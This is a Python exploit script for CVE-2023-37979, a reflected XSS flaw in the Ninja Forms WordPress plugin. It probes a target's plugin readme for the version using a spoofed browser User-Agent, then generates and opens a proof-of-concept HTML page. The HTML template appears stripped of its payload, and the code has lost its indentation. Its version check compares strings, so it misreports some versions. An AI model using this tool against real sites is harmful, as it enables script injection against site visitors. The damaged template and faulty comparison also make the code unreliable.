from argparse import ArgumentParser
from os import getcwd, path
from re import search
import sys
import webbrowser
from time import sleep
from requests import get, RequestException
# Constants
CVE_NAME = "CVE-2023-37979"
VULNERABLE_VERSION = "3.6.25"
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"}
def generate_exploit_html(target_url):
html_template = f"""
{CVE_NAME}
Ninja-forms reflected XSS ({CVE_NAME})
If you received a 0 or an empty page, login may be required.
"""
file_path = path.join(getcwd(), f"{CVE_NAME}.html")
with open(file_path, "w") as poc:
poc.write(html_template)
print(f"[@] POC Generated at {file_path}")
sleep(2)
webbrowser.open(file_path)
def check_vulnerability(target_url):
try:
response = get(f"{target_url}/wp-content/plugins/ninja-forms/readme.txt", headers=HEADERS)
if response.status_code != 200 or "Ninja Forms" not in response.text:
print("[!] Ninja-forms plugin is not installed on this site.")
return False
match = search(r"Stable tag:\s*([\d.]+)", response.text)
if not match:
print("[!] Unable to determine the plugin version.")
return False
version = match.group(1)
print(f"[*] Detected Ninja-forms version: {version}")
if version <= VULNERABLE_VERSION:
print(f"[+] This version ({version}) is vulnerable!")
return True
else:
print(f"[-] This version ({version}) is NOT vulnerable.")
return False
except RequestException as error:
print(f"[!] HTTP Request Error: {error}")
sys.exit(1)
def main():
parser = ArgumentParser(description=f"{CVE_NAME} Exploit Script")
parser.add_argument("target", help="Target URL (e.g., https://vulnsite.com)")
parser.add_argument("--exploit", action="store_true", help="Generate and open PoC HTML file")
args = parser.parse_args()
target_url = args.target.rstrip("/")
if not target_url.startswith(("http://", "https://")):
print("[!] Invalid target: The URL must start with 'http://' or 'https://'.")
sys.exit(1)
print("[*] Checking the target for vulnerability...")
if check_vulnerability(target_url):
if args.exploit:
generate_exploit_html(target_url)
else:
print("[*] Run with '--exploit' to generate and execute the PoC.")
else:
sys.exit(1)
if __name__ == "__main__":
main()